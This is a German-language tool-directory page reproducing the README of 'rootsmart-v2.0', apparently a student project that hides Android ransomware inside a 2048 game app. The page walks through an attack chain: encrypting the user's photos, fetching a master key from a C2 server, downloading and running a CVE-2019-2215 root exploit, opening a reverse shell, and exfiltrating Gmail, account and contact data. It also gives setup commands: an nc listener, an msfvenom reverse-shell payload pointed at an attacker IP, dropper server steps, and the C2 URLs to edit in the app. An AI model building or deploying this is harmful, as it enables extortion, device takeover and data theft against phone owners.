Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Rootsmart-v2.0 — Android Ransomware Entwicklung - AES256-Verschlüsselung + CVE-2019-2215 (Reverse-Root-Shell) + Datenexfiltration | Kitploit
Tools/GitHubGitHub/crackercat/rootsmart-v2.0
Android-SicherheitVerschlüsselungs-/EntschlüsselungstoolsSchwachstellenanalyseExploitationReverse EngineeringDatenexfiltrationPenetrationstestsMobile SicherheitCommand and ControlLernen & BildungPayload-Entwicklung
27vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
crackercat/rootsmart-v2.0

Rootsmart-v2.0

Android Ransomware Entwicklung - AES256-Verschlüsselung + CVE-2019-2215 (Reverse-Root-Shell) + Datenexfiltration

Repository anzeigen

Rootsmart 2.0 mit cve-2019-2215 + Ransomware

Haftungsausschluss

Dieses Projekt dient ausschließlich zu Bildungszwecken. Dieses Projekt verwendet Code von rkshrksh/2048-Game und kangtastic/cve-2019-2215.


Projektbeschreibung

Dieses Projekt ist Teil des Moduls Mobile Security der Singapore Institute of Technology. Das Projekt wurde innerhalb von 6 Wochen durchgeführt und zielte darauf ab, eine schädliche Android-Anwendung zu entwickeln. Dadurch lernten wir, wie Sicherheitsmechanismen in einem Android-Betriebssystem implementiert sind und wie wir OWASP Mobile Top 10:2017 M8 - Code-Tampering anwenden können.

Das Projekt dient als Proof of Concept, um eine selbst geschriebene Ransomware zu demonstrieren, die AES-Verschlüsselung nutzt, cve-2019-2215 als Waffe einsetzt und Daten vom infizierten Gerät exfiltriert.

Es wurde auf Android 10 und Google Pixel 2 XL getestet.

root@kitploit:~
├── 2048-Game 					// Android-Projektordner
├── 2048-keystore				// Test-Keystore
├── cve-2019-2215				// Modifiziertes cve-2019-2215
│	└── cve-2019-2215.c
├── dropper_server				// Dropper-Server-Verzeichnis 
│	├── cve-2019-2215			// shells.zip-Inhalt vor dem Zippen
│	├── dropper_server.py		// Dropper-Server-Programm
│	├── exfiltrated_data.log
│	├── masterkeys.txt
│	├── ncat.exe 				// Netcat Windows-Binärdatei - für Reverse-Shell-Listener
│	├── requirements.txt
│	├── shells.zip  			// shells.zip, das im Stammverzeichnis des Dropper-Servers gehostet wird
│	└── venv
└── test_images    				// test_images für einfaches adb push <image.ext> /sdcard/Pictures
Angriffsvektor:
  1. App installieren, ausführen und Berechtigungen erteilen
  2. Die Ransomware verschlüsselt alle Dateien in /sdcard/Pictures mit AES
  3. Jede Datei wird mit einem zufällig generierten Schlüssel verschlüsselt
  4. Die Schlüssel werden in /sdcard/keys.json gespeichert, wobei jedes Schlüssel-Wert-Paar Dateipfad:Schlüssel ist
  5. GET HTTP an C2-Server /get_mk, um MasterKey und VictimID im Antworttext abzurufen
  6. Der MasterKey verschlüsselt keys.json, die VictimID wird in /sdcard/victimID.txt gespeichert
  7. Die Anwendung lädt shells.zip herunter und entpackt den Inhalt
  8. Ausführen des cve-2019-2215-Binärprogramms aus dem entpackten Inhalt
  9. Ein Root-Shell-Prozess wird gestartet und führt install.sh aus dem entpackten Inhalt aus
  10. install.sh führt rs.elf aus dem entpackten Inhalt aus, um eine Reverse-Verbindung zum Angriffsserver zu senden
  11. Die Anwendung exfiltriert die Gmail-Adresse, die Benutzerkontoinformationen und die Kontakte des Geräts.
Demonstration

https://user-images.githubusercontent.com/56181271/155875246-092a3954-2f42-42b7-a00e-581a1bbf0546.mp4


C2 (Command & Control) - Einrichtung

Für diesen Test stellen Sie sicher, dass sich das Opfer-Telefon und der C2-Server im selben Subnetz befinden (andernfalls hosten Sie den C2 im öffentlichen Internet). Es gibt 3 Endpunkte für den C2-Server, die in dropper/dropper_server.py zu finden sind:

  1. /process_command - GET zum Herunterladen von shells.zip und Ausführen des cve-2019-2215 Root-Exploits
  2. /get_mk - GET zum Abrufen des Schlüssel-Wert-Paars victimID:masterkey zur Verschlüsselung von /sdcard/keys.json
  3. /postData - POST exfiltrierter Gmail-, Kontakt- und Kontoinformationen
Reverse-Shell-Server
root@kitploit:~
nc -lvnp 1337 # Idealerweise sollte dies dieselbe IP wie der Dropper-Server sein
Dropper-Server
root@kitploit:~
# rs.elf-Payload generieren
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Angreifer-IP> LPORT=<Angreifer-Port> -f elf > rs.elf

# Besser Flask unter Windows ausführen, falls WSL den Localhost-Datenverkehr nicht an den Windows-Host weiterleitet
cd dropper
python3 -m venv venv # Venv erstellen

# Venv aktivieren
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Stellen Sie sicher, dass die Host-Shell root/Administrator ist

# C2-Server ausführen
python3 dropper_server.py # WSL
python dropper_server.py # Windows

shells.zip in /dropper

  1. Gehen Sie zum Ordner dropper/cve-2019-2215
  2. Nach dem Erstellen von rs.elf, rs.elf + cve-2019-2215, install.sh zippen
  3. Zip-Datei in shells.zip umbenennen
  4. shells.zip nach /dropper verschieben

Folgendes vor dem Kompilieren der APK ändern

Java-Klassen

root@kitploit:~
// Datei : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// IP und Port entsprechend der Dropper-Server-IP und dem Port ändern
String URL = "http://192.168.157.73:8080/process_command"; // Zeile 19

// Datei : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// IP und Port entsprechend der Dropper-Server-IP und dem Port ändern
String URL = "http://192.168.157.73:8080/get_mk"; // Zeile 45

// Datei : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// IP und Port entsprechend der Dropper-Server-IP und dem Port ändern
String urlString = "http://192.168.157.73:8080/postData"; // Zeile 32
Tool herunterladen